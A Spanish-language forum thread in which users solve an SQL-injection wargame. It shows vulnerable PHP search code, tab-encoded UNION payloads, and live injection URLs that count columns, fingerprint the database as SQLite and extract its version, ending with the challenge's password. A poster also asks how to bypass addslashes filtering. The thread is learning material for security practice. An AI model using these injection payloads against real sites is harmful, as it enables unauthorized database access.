Duda con reto de iSQL

Iniciado por Shell Root, 6 Marzo 2015, 16:49 PM

0 Miembros y 1 Visitante están viendo este tema.

Shell Root

Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL. El script es esté:

NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost
Código (php) [Seleccionar]
   if ( !empty( $_GET['buscar'] ) ){
       $buscar = (string) stripslashes( $_GET['buscar'] );
       
       if ( 40 < strlen($buscar) )
           die('Hacker!');
       
       $palabras = explode( ' ', $buscar );
       if ( 3 < count($palabras) )
           die('No se permiten mas de 3 palabras en la busqueda.');
       
       #$consulta = 'SELECT * FROM diccionario WHERE';
       $consulta = 'SELECT * FROM tbl WHERE';
       foreach( (array) $palabras as $palabra )
           $consulta .= " nombre LIKE '%{$palabra}%' OR";
           #$consulta .= " yrClaves LIKE '%{$palabra}%' OR";
           
       $consulta = substr( $consulta, 0, -3 );
       $consulta .= " LIMIT 1;";
   }else{
       $consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;';
   }
   
   # Esto es para mi localhost
   $cnn = mysql_connect("127.0.0.1", "root", "");
   $db = mysql_select_db("PoC");
   $query = mysql_query($consulta);
   if( $query !== false ){
       $data = mysql_fetch_array($query);
   }


El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera,
Código (php) [Seleccionar]
5'%09union%09select%09@@version,2%09%23
Para que la query quede de la siguiente manera,
Código (sql) [Seleccionar]
SELECT * FROM tbl WHERE nombre LIKE '%5' union select @@version,2 #%' LIMIT 1;
En mi caso el resultado es: 5.6.21

El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

ivancea96

Cómo haces para saltarte el count de palabras>3? xD



EDITO: Vale, ya vi, ignórame xD

Shell Root

No he podido pillar que es lo que pasa, supongo que mi mysql es diferente al que tengo y por eso en mis pruebas lo he pasado, pero en el del reto no. Alguna idea?

PD: Ahora tengo que bypassear esto, no tengo la obsoluta idea de como pasarlo.
Código (php) [Seleccionar]
$usuario = (!get_magic_quotes_gpc())?addslashes($_POST['user']):$_POST['user'];
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

WHK

#3
Recuerda que al final le quitan 3 carácteres por el "OR". Agregale 3 carácteres vacios extras:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=s%%27%09order%09by%094%09--09%09%09%09

Con 4 columnas renorna el valor, con 5 no, por lo cual la tabla tiene 4 columnas:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,4%09--09%09%09%09

También puedes hacer una continuación de la consulta en ves de finalizarla para ganar mas espacio de carácteres (ya que te limita a 40):

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,%274

Al final las única columna que retornan valores acortando la consulta final es el 3

Igual está raro si, no resuelve nada, ni user() ni @@version ni si quiera un concat:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,concat%28%27c%27%29,%274

Será sqlite?

www.yashira.org/ReTos/All/167/diccionario.php?buscar=1'%09union%09select%091,2,'a'||'b','4

Bingo! sqlite concatena strings utilizando el operador OR en símbolo ||, asi que puse 'a'||'b' y me retornó "ab".

Ahora si, a continuar con la inyección, usamos la función sqlite_version() para retornar la versión de la base de datos:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=%27%09union%09select%091,2,sqlite_version%28%29,%274

Y listo:

CitarCongrats!, Password: e98f1ae3f5bdeab2d89d8c928723a9f9

CitarAndaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL

Donde dice MySQL?

Saludos.

Shell Root

Pues tienes toda la pinche razón jajajaj me deje llevar y pense que era MySQL. Y es más, dentro del código dice que es:
Código (php) [Seleccionar]
$db = new PDO( 'sqlite:diccionario.sqlite' );
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.